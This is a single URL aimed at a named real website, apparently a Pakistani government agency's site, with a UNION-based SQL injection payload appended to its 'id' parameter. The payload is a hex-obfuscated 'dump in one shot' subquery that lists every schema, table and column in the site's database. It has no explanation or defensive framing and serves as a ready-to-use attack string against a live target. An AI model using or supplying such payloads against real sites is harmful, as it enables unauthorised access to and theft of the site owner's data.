http://www.smeda.org.pk/main.php?id=-2 union select 1,(select(@x)from(select(@x:=0x00), (select(0)from(information_schema.columns)where(ta ble_schema!=0x696e666f726d6174696f6e5f736368656d61 )and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema ,0x2e,table_name,0x3a,column_name))))x),3,4,5,6,7--